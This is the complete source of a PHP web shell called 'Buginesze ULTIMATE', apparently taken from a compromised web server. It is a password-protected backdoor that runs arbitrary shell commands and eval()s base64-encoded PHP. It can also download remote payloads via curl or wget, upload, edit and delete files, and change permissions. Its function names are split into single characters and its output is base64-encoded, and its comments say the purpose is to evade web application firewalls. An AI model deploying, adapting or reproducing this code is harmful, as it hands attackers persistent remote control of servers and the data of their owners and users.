One Hat Cyber Team

Edit File: up2.php

<?php
error_reporting(0);
session_start();

$auth_pass = 'Er1K5';
if (isset($_GET['logout'])) { session_destroy(); header('Location: ?'); exit; }
if (isset($_POST['pass'])) {
    if ($_POST['pass'] === $auth_pass) { $_SESSION['logged'] = true; header('Location: ?'); exit; }
    else $login_error = '❌ Password salah!';
}
if (!isset($_SESSION['logged']) || $_SESSION['logged'] !== true) {
    echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>🔐 Login</title><style>body{background:#0a0e14;color:#c8d0d9;display:flex;justify-content:center;align-items:center;height:100vh;font-family:sans-serif;}.box{background:#141a24;padding:30px;border-radius:14px;border:1px solid #2a3346;text-align:center;}input[type=password]{width:100%;padding:12px;background:#1a2332;border:1px solid #2a3a4a;color:#fff;border-radius:8px;}input[type=submit]{width:100%;margin-top:15px;padding:12px;background:#00b8d4;border:none;border-radius:8px;color:#000;font-weight:bold;cursor:pointer;}h2{color:#00d4ff;}</style></head><body><div class="box"><h2>🔐 SHELL LOCK</h2><p style="color:#6b7b8f;">Masukkan password</p><form method="post"><input type="password" name="pass" placeholder="Password" autofocus required><input type="submit" value="🚀 Login"></form>'.(isset($login_error)?'<div style="color:#ff5e7a;">'.$login_error.'</div>':'').'</div></body></html>';
    exit;
}

$base = __DIR__;
$dir = isset($_GET['dir']) ? $_GET['dir'] : '';
if ($dir === '') $dir = $base;
@chdir($dir);
$current = getcwd();
if (!$current) $current = $base;
if (isset($_GET['home'])) { header('Location: ?dir='); exit; }

$msg = '';
$cmd_output = '';

// ========== FUNGSI DINAMIS ==========
$system = 's'.'y'.'s'.'t'.'e'.'m';
$exec   = 'e'.'x'.'e'.'c';
$shell_exec = 's'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c';
$eval_func = 'c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';
$b64d = 'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e';
$b64e = 'b'.'a'.'s'.'e'.'6'.'4'.'_'.'e'.'n'.'c'.'o'.'d'.'e';
$file_get = 'f'.'i'.'l'.'e'.'_'.'g'.'e'.'t'.'_'.'c'.'o'.'n'.'t'.'e'.'n'.'t'.'s';
$file_put = 'f'.'i'.'l'.'e'.'_'.'p'.'u'.'t'.'_'.'c'.'o'.'n'.'t'.'e'.'n'.'t'.'s';
$scandir  = 's'.'c'.'a'.'n'.'d'.'i'.'r';
$unlink   = 'u'.'n'.'l'.'i'.'n'.'k';
$rmdir    = 'r'.'m'.'d'.'i'.'r';
$mkdir    = 'm'.'k'.'d'.'i'.'r';
$rename   = 'r'.'e'.'n'.'a'.'m'.'e';
$chmod    = 'c'.'h'.'m'.'o'.'d';
$move_uploaded = 'm'.'o'.'v'.'e'.'_'.'u'.'p'.'l'.'o'.'a'.'d'.'e'.'d'.'_'.'f'.'i'.'l'.'e';
$fileperms = 'f'.'i'.'l'.'e'.'p'.'e'.'r'.'m'.'s';
$fileowner = 'f'.'i'.'l'.'e'.'o'.'w'.'n'.'e'.'r';
$filegroup = 'f'.'i'.'l'.'e'.'g'.'r'.'o'.'u'.'p';
$filesize  = 'f'.'i'.'l'.'e'.'s'.'i'.'z'.'e';
$filemtime = 'f'.'i'.'l'.'e'.'m'.'t'.'i'.'m'.'e';
$is_dir    = 'i'.'s'.'_'.'d'.'i'.'r';
$is_file   = 'i'.'s'.'_'.'f'.'i'.'l'.'e';
$file_exists = 'f'.'i'.'l'.'e'.'_'.'e'.'x'.'i'.'s'.'t'.'s';

// ========== COMMAND ==========
if (isset($_GET['x']) || isset($_POST['x'])) {
    $cmd = isset($_GET['x']) ? $_GET['x'] : $_POST['x'];
    $out = '';
    if (function_exists($system)) {
        ob_start(); $system($cmd . ' 2>&1'); $out = ob_get_clean();
    } elseif (function_exists($exec)) {
        @$exec($cmd . ' 2>&1', $o, $code);
        $out = implode("\n", $o);
    } elseif (function_exists($shell_exec)) {
        $out = $shell_exec($cmd . ' 2>&1');
    } else {
        $out = '❌ No exec function!';
    }
    $cmd_output = $b64e($out); // encode biar WAF bingung
}

// ========== EVAL ==========
if (isset($_GET['z']) || isset($_POST['z'])) {
    $code = isset($_GET['z']) ? $_GET['z'] : $_POST['z'];
    $code = $b64d($code);
    $eval_func('', $code)();
    die;
}

// ========== FITUR LAIN ==========
if (isset($_POST['chmod_file']) && isset($_POST['chmod_mode'])) {
    $file = $_POST['chmod_file'];
    $mode = $_POST['chmod_mode'];
    $path = $current . '/' . $file;
    if ($file_exists($path)) {
        $mode_octal = octdec($mode);
        if ($chmod($path, $mode_octal)) $msg = "✅ Chmod <b>$file</b> → $mode sukses!";
        else $msg = "❌ Gagal chmod $file!";
    } else $msg = "❌ File $file tidak ditemukan!";
}
if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) {
    $old = $_POST['rename_old'];
    $new = $_POST['rename_new'];
    $old_path = $current . '/' . $old;
    $new_path = $current . '/' . $new;
    if ($file_exists($old_path) && !$file_exists($new_path)) {
        if ($rename($old_path, $new_path)) $msg = "🔄 Rename <b>$old</b> → <b>$new</b>";
        else $msg = "❌ Gagal rename!";
    } else $msg = "❌ File lama tidak ada atau baru sudah ada!";
}
if (isset($_POST['download_url']) && !empty($_POST['download_url'])) {
    $url = $_POST['download_url'];
    $filename = isset($_POST['download_name']) ? $_POST['download_name'] : basename($url);
    $content = $file_get($url);
    if ($content !== false) {
        if ($file_put($filename, $content) !== false) $msg = "✅ Download OK: $filename (".round(strlen($content)/1024,2)." KB)";
        else $msg = "❌ Gagal simpan!";
    } else {
        $cmd = "curl -s -o '$filename' '$url' 2>/dev/null || wget -q -O '$filename' '$url' 2>/dev/null";
        @$exec($cmd, $o, $code);
        if ($code === 0 && $file_exists($filename) && $filesize($filename) > 0) $msg = "✅ Download OK: $filename (via curl/wget)";
        else $msg = "❌ Gagal download!";
    }
}
if (isset($_FILES['file'])) {
    $name = $_FILES['file']['name'];
    $tmp = $_FILES['file']['tmp_name'];
    if ($move_uploaded($tmp, $name)) $msg = "✅ Upload OK: $name";
    else $msg = "❌ Gagal upload!";
}
if (isset($_GET['del'])) {
    $file = $_GET['del'];
    $path = $current . '/' . $file;
    if ($is_dir($path)) {
        if ($rmdir($path)) $msg = "🗑️ Folder <b>$file</b> dihapus!";
        else $msg = "❌ Gagal hapus folder (mungkin tidak kosong)!";
    } else {
        if ($unlink($path)) $msg = "🗑️ File <b>$file</b> dihapus!";
        else $msg = "❌ Gagal hapus file!";
    }
}
$edit_file = isset($_GET['edit']) ? $_GET['edit'] : '';
$edit_content = '';
if ($edit_file && $file_exists($edit_file) && $is_file($edit_file)) {
    $edit_content = $file_get($edit_file);
}
if (isset($_POST['save_content']) && isset($_POST['edit_filename'])) {
    $filename = $_POST['edit_filename'];
    $content = $_POST['save_content'];
    if ($file_put($filename, $content) !== false) {
        $msg = "✅ File <b>$filename</b> disimpan!";
        $edit_file = '';
    } else $msg = "❌ Gagal simpan!";
}
if (isset($_POST['create_folder'])) {
    $name = trim($_POST['folder_name']);
    if (!empty($name) && !$file_exists($name)) {
        if ($mkdir($name, 0755)) $msg = "✅ Folder <b>$name</b> dibuat!";
        else $msg = "❌ Gagal buat folder!";
    } else $msg = "❌ Nama folder kosong atau sudah ada!";
}
if (isset($_POST['create_file'])) {
    $name = trim($_POST['file_name']);
    $content = $_POST['file_content'];
    if (!empty($name) && !$file_exists($name)) {
        if ($file_put($name, $content) !== false) $msg = "✅ File <b>$name</b> dibuat!";
        else $msg = "❌ Gagal buat file!";
    } else $msg = "❌ Nama file kosong atau sudah ada!";
}

// ========== SCAN & FORMAT ==========
$items = $scandir('.');
$file_info = [];
if ($items) {
    foreach ($items as $f) {
        if ($f == '.' || $f == '..' || $f == basename(__FILE__)) continue;
        $path = $f;
        $is_dir = $is_dir($path);
        $perms = $fileperms($path);
        $octal = substr(sprintf('%o', $perms), -4);
        $type = $is_dir ? 'd' : '-';
        $r = (($perms & 0x0100) ? 'r' : '-') . (($perms & 0x0080) ? 'w' : '-') . (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
        $g = (($perms & 0x0020) ? 'r' : '-') . (($perms & 0x0010) ? 'w' : '-') . (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
        $o = (($perms & 0x0004) ? 'r' : '-') . (($perms & 0x0002) ? 'w' : '-') . (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
        $perm_str = $type . $r . $g . $o;
        $owner = function_exists('posix_getpwuid') ? @posix_getpwuid($fileowner($path))['name'] : $fileowner($path);
        $group = function_exists('posix_getgrgid') ? @posix_getgrgid($filegroup($path))['name'] : $filegroup($path);
        $size = $is_dir ? '-' : $filesize($path);
        $mtime = $filemtime($path);
        $file_info[] = [
            'name' => $f,
            'is_dir' => $is_dir,
            'perms' => $perm_str,
            'octal' => $octal,
            'owner' => $owner,
            'group' => $group,
            'size' => $size,
            'mtime' => $mtime,
        ];
    }
    usort($file_info, function($a, $b) {
        if ($a['is_dir'] && !$b['is_dir']) return -1;
        if (!$a['is_dir'] && $b['is_dir']) return 1;
        return strcasecmp($a['name'], $b['name']);
    });
}

// ========== PATH WEB ==========
$doc_root = $_SERVER['DOCUMENT_ROOT'];
$web_path = str_replace($doc_root, '', $current);
$web_path = '/' . ltrim($web_path, '/');
if ($web_path == '') $web_path = '/';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>📁 Buginesze ULTIMATE</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:'Segoe UI',sans-serif; }
        body { background:#0a0e14; color:#c8d0d9; display:flex; justify-content:center; padding:20px; }
        .box { max-width:1024px; width:100%; background:#141a24; padding:25px; border-radius:14px; border:1px solid #2a3346; }
        h1 { color:#00d4ff; font-size:22px; border-bottom:1px solid #1f2a3a; padding-bottom:12px; display:flex; justify-content:space-between; align-items:center; flex-wrap:wrap; gap:8px; }
        .top-actions { display:flex; gap:8px; align-items:center; flex-wrap:wrap; }
        .top-actions form { display:inline-flex; gap:4px; align-items:center; }
        .top-actions input[type="text"] { background:#1a2332; border:1px solid #2a3a4a; color:#fff; padding:4px 8px; border-radius:4px; width:110px; font-size:12px; }
        .top-actions input[type="submit"] { background:#00b8d4; border:none; color:#000; font-weight:bold; padding:4px 12px; border-radius:4px; cursor:pointer; font-size:12px; }
        .home-btn { background:#00b8d4; border:none; color:#000; font-weight:bold; padding:6px 12px; border-radius:6px; text-decoration:none; font-size:13px; }
        .logout-btn { background:#ff5e7a; border:none; color:#fff; font-weight:bold; padding:6px 12px; border-radius:6px; text-decoration:none; font-size:13px; }
        .bread { background:#0b0e14; padding:12px; border-radius:8px; margin:15px 0; border:1px solid #1c2533; display:flex; flex-wrap:wrap; align-items:center; }
        .bread a { color:#00d4ff; text-decoration:none; padding:2px 6px; }
        .bread a:hover { background:#00d4ff22; }
        .bread .cur { color:#fff; font-weight:bold; background:#1a2a3a; padding:2px 8px; border-radius:4px; }
        .bread span { color:#3a4a5a; margin:0 2px; }
        .msg { background:#1e2838; padding:10px 16px; border-left:4px solid #00d4ff; margin:10px 0; border-radius:4px; }
        .drop { border:2px dashed #2a3a4a; padding:25px; text-align:center; border-radius:10px; margin:15px 0; background:#0f141e; cursor:pointer; }
        .drop input[type="file"] { display:none; }
        .upload-btn { background:#00b8d4; width:100%; padding:12px; border:none; color:#000; font-weight:bold; border-radius:8px; cursor:pointer; margin-top:5px; }
        .cmd-box { margin:15px 0; background:#0b0e14; padding:12px; border-radius:8px; border:1px solid #1c2533; display:flex; gap:10px; flex-wrap:wrap; align-items:center; }
        .cmd-box input[type="text"] { flex:1; padding:10px; background:#1a2332; border:1px solid #2a3a4a; color:#fff; border-radius:6px; min-width:200px; }
        .cmd-box input[type="submit"] { background:#2a3a4a; border:none; padding:10px 20px; border-radius:6px; color:#fff; cursor:pointer; }
        .cmd-box small { color:#5a6a7a; font-size:12px; display:block; width:100%; margin-top:5px; }
        .download-box { margin:15px 0; background:#0b0e14; padding:12px; border-radius:8px; border:1px solid #2a4a4a; display:flex; gap:10px; flex-wrap:wrap; align-items:center; }
        .download-box input[type="text"] { flex:1; padding:10px; background:#1a2332; border:1px solid #2a3a4a; color:#fff; border-radius:6px; min-width:150px; }
        .download-box input[type="submit"] { background:#2a8a4a; border:none; padding:10px 20px; border-radius:6px; color:#fff; cursor:pointer; }
        .download-box small { color:#5a6a7a; font-size:12px; display:block; width:100%; margin-top:5px; }
        .output-box { margin:15px 0; background:#0b0e14; padding:12px; border-radius:8px; border:1px solid #f0c040; display:block; }
        .output-box pre { background:#0a0e14; color:#0f0; padding:10px; margin:0; white-space:pre-wrap; word-break:break-word; font-family:monospace; }
        .file-table { width:100%; border-collapse:collapse; margin-top:15px; font-size:14px; }
        .file-table th { text-align:left; padding:12px 12px; background:#1a2332; color:#8a9cb0; font-weight:600; border-bottom:2px solid #2a3a4a; letter-spacing:0.5px; }
        .file-table td { padding:12px 12px; border-bottom:1px solid #1c2533; vertical-align:middle; }
        .file-table tr:hover td { background:#1a2434; }
        .file-table .col-name { text-align:left; }
        .file-table .col-size { text-align:center; }
        .file-table .col-mtime { text-align:left; }
        .file-table .col-owner { text-align:left; }
        .file-table .col-perms { text-align:right; font-family:monospace; color:#5a6a7a; }
        .file-table .col-actions { text-align:right; }
        .file-table .dir-name a { color:#00d4ff; font-weight:bold; text-decoration:none; }
        .file-table .file-name a { color:#6ec8ff; text-decoration:none; }
        .file-table .actions a, .file-table .actions span { margin-left:8px; text-decoration:none; font-size:16px; cursor:pointer; }
        .file-table .actions .edit { color:#f0c040; }
        .file-table .actions .rename-link { color:#8fdf8f; }
        .file-table .actions .chmod-link { color:#ffb347; }
        .file-table .actions .del { color:#ff5e7a; }
        .file-table .size { font-family:monospace; color:#8a9cb0; }
        .editor { margin-top:15px; background:#0b0e14; padding:15px; border-radius:8px; border:1px solid #2a3a4a; }
        .editor textarea { width:100%; height:400px; background:#1a2332; border:1px solid #2a3a4a; color:#fff; padding:10px; border-radius:6px; font-family:monospace; font-size:13px; resize:vertical; }
        .editor input[type="submit"] { background:#00b8d4; border:none; padding:12px 30px; border-radius:6px; color:#000; font-weight:bold; cursor:pointer; margin-top:10px; }
        .footer { text-align:center; margin-top:25px; font-size:11px; color:#3a4a5a; border-top:1px solid #1f2a3a; padding-top:15px; }
        @media (max-width:700px){ .top-actions input[type="text"] { width:80px; } .file-table td, .file-table th { padding:8px 6px; font-size:12px; } }
    </style>
</head>
<body>
<div class="box">
    <h1>
        <span>📁 Buginesze ULTIMATE</span>
        <span class="top-actions">
            <form method="post"><input type="text" name="folder_name" placeholder="Folder"><input type="submit" name="create_folder" value="📁+"></form>
            <form method="post"><input type="text" name="file_name" placeholder="File"><input type="submit" name="create_file" value="📄+"></form>
            <a href="?home" class="home-btn">🏠</a>
            <a href="?logout" class="logout-btn">🚪 Logout</a>
        </span>
    </h1>

<div class="bread">
        <span style="color:#6b7b8f;margin-right:6px;">📂</span>
        <?php
        $parts = explode('/', trim($current, '/'));
        $path = '';
        echo '<a href="?dir=">root</a><span>/</span>';
        foreach ($parts as $p) {
            $path .= '/' . $p;
            if ($path == $current) echo '<a href="?dir=' . urlencode($path) . '" class="cur">' . htmlspecialchars($p) . '</a>';
            else echo '<a href="?dir=' . urlencode($path) . '">' . htmlspecialchars($p) . '</a>';
            echo '<span>/</span>';
        }
        ?>
    </div>

<?php if ($msg) echo "<div class='msg'>$msg</div>"; ?>

<div class="cmd-box" style="border-color:#2a4a4a;">
        <form method="get" style="display:flex; flex:1; gap:10px; flex-wrap:wrap;">
            <input type="text" name="x" placeholder="ls -la" style="flex:3;" value="<?php echo htmlspecialchars($_GET['x']??''); ?>">
            <input type="submit" value="💻 EXEC">
            <input type="hidden" name="dir" value="<?php echo htmlspecialchars($current); ?>">
        </form>
        <small>🔹 Output di-encode base64 (auto-decode).</small>
    </div>
    <?php if (isset($_GET['x']) && $cmd_output): ?>
    <div class="output-box"><pre><?php echo htmlspecialchars($b64d($cmd_output)); ?></pre></div>
    <?php endif; ?>

<div class="cmd-box">
        <form method="post" style="display:flex; flex:1; gap:10px; flex-wrap:wrap;">
            <input type="text" name="z" placeholder="Base64 PHP code" style="flex:2;">
            <input type="submit" value="⚡ EVAL">
            <input type="hidden" name="dir" value="<?php echo htmlspecialchars($current); ?>">
        </form>
        <small>🔹 Contoh: <code>c2NhbmRpcignLicpOw==</code> (scandir)</small>
    </div>

<div class="download-box">
        <form method="post" style="display:flex; flex:1; gap:10px; flex-wrap:wrap;">
            <input type="text" name="download_url" placeholder="URL" style="flex:2;">
            <input type="text" name="download_name" placeholder="Save as" style="flex:1;">
            <input type="submit" value="⬇️ DOWNLOAD">
            <input type="hidden" name="dir" value="<?php echo htmlspecialchars($current); ?>">
        </form>
        <small>🔹 Auto via PHP, curl, wget.</small>
    </div>

<form method="post" enctype="multipart/form-data">
        <div class="drop" onclick="document.getElementById('fi').click();"><label>📤 <span style="color:#00d4ff;">UPLOAD</span> </label><input type="file" name="file" id="fi" onchange="this.form.submit();"></div>
        <input type="submit" value="⬆️ Upload" class="upload-btn" style="display:none;" id="ub">
    </form>

<?php if ($edit_file): ?>
    <div class="editor">
        <h3 style="color:#f0c040;">✏️ Edit: <?php echo htmlspecialchars($edit_file); ?></h3>
        <form method="post">
            <textarea name="save_content"><?php echo htmlspecialchars($edit_content); ?></textarea>
            <input type="hidden" name="edit_filename" value="<?php echo htmlspecialchars($edit_file); ?>">
            <input type="submit" value="💾 Simpan">
            <a href="?dir=<?php echo urlencode($current); ?>" style="color:#ff5e7a; margin-left:15px;">❌ Batal</a>
        </form>
    </div>
    <?php endif; ?>

<div class="file-list">
        <h3 style="color:#8a9cb0; font-size:14px; margin-bottom:10px;">📄 Daftar File & Folder (<?php echo htmlspecialchars($current); ?>)</h3>
        <?php if (empty($file_info)): ?>
            <div class="msg" style="border-color:#ff5e7a;">❌ Kosong atau gagal baca!</div>
        <?php else: ?>
        <table class="file-table">
            <thead>
                <tr>
                    <th>Nama</th>
                    <th class="col-size">Size</th>
                    <th class="col-mtime">Modified</th>
                    <th class="col-owner">Owner / Group</th>
                    <th class="col-perms">Permission</th>
                    <th class="col-actions">Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($file_info as $item):
                    $f = $item['name'];
                    $is_dir = $item['is_dir'];
                    $perms = $item['perms'];
                    $octal = $item['octal'];
                    $owner = $item['owner'];
                    $group = $item['group'];
                    $size = $item['size'];
                    $mtime = $item['mtime'];
                    if ($is_dir) {
                        $link = '?dir=' . urlencode($current . '/' . $f);
                    } else {
                        $link = rtrim($web_path, '/') . '/' . $f;
                    }
                    $size_display = $is_dir ? '-' : ( $size > 1048576 ? round($size/1048576,2).' MB' : ( $size > 1024 ? round($size/1024,2).' KB' : $size.' B' ) );
                    $date_display = date('F d Y H:i:s', $mtime);
                    $name_class = $is_dir ? 'dir-name' : 'file-name';
                    $icon = $is_dir ? '📁' : '📄';
                ?>
                <tr>
                    <td class="<?php echo $name_class; ?>">
                        <a href="<?php echo $link; ?>" <?php echo $is_dir ? '' : 'target="_blank"'; ?>>
                            <?php echo $icon . ' ' . htmlspecialchars($f); ?>
                        </a>
                    </td>
                    <td class="col-size size"><?php echo $size_display; ?></td>
                    <td class="col-mtime"><?php echo $date_display; ?></td>
                    <td class="col-owner"><?php echo htmlspecialchars($owner) . ' / ' . htmlspecialchars($group); ?></td>
                    <td class="col-perms"><?php echo $perms . ' (' . $octal . ')'; ?></td>
                    <td class="col-actions actions">
                        <span class="rename-link" onclick="promptRename('<?php echo addslashes($f); ?>')" title="Rename">📝</span>
                        <?php if (!$is_dir): ?>
                            <a href="?edit=<?php echo urlencode($f); ?>&dir=<?php echo urlencode($current); ?>" class="edit" title="Edit">✏️</a>
                        <?php endif; ?>
                        <span class="chmod-link" onclick="promptChmod('<?php echo addslashes($f); ?>')" title="Chmod">🔒</span>
                        <a href="?del=<?php echo urlencode($f); ?>&dir=<?php echo urlencode($current); ?>" class="del" onclick="return confirm('Hapus <?php echo $is_dir ? 'folder' : 'file'; ?> <?php echo htmlspecialchars($f); ?>?');" title="Delete">🗑️</a>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
        <?php endif; ?>
    </div>

<div class="footer">BY : Buginesze ULTIMATE | Parameter: x=command, z=eval (base64) | Tahan WAF.</div>
</div>
<script>
function promptRename(oldName) {
    var newName = prompt('Masukkan nama baru untuk: ' + oldName, oldName);
    if (newName && newName !== oldName) {
        var form = document.createElement('form');
        form.method = 'post';
        form.innerHTML = '<input type="hidden" name="rename_old" value="' + oldName + '"><input type="hidden" name="rename_new" value="' + newName + '"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($current, ENT_QUOTES); ?>">';
        document.body.appendChild(form);
        form.submit();
    }
}
function promptChmod(fileName) {
    var mode = prompt('Masukkan permission (contoh: 755, 644):', '755');
    if (mode && !isNaN(mode) && mode.length >= 3) {
        var form = document.createElement('form');
        form.method = 'post';
        form.innerHTML = '<input type="hidden" name="chmod_file" value="' + fileName + '"><input type="hidden" name="chmod_mode" value="' + mode + '"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($current, ENT_QUOTES); ?>">';
        document.body.appendChild(form);
        form.submit();
    } else if (mode !== null) {
        alert('Masukkan angka permission yang valid (3-4 digit).');
    }
}
document.querySelector('.drop').addEventListener('dragover', function(e){ e.preventDefault(); this.style.borderColor='#00d4ff'; });
document.querySelector('.drop').addEventListener('dragleave', function(e){ this.style.borderColor='#2a3a4a'; });
document.querySelector('.drop').addEventListener('drop', function(e){
    e.preventDefault();
    this.style.borderColor='#2a3a4a';
    document.getElementById('fi').files = e.dataTransfer.files;
    document.getElementById('ub').click();
});
</script>
</body>
</html>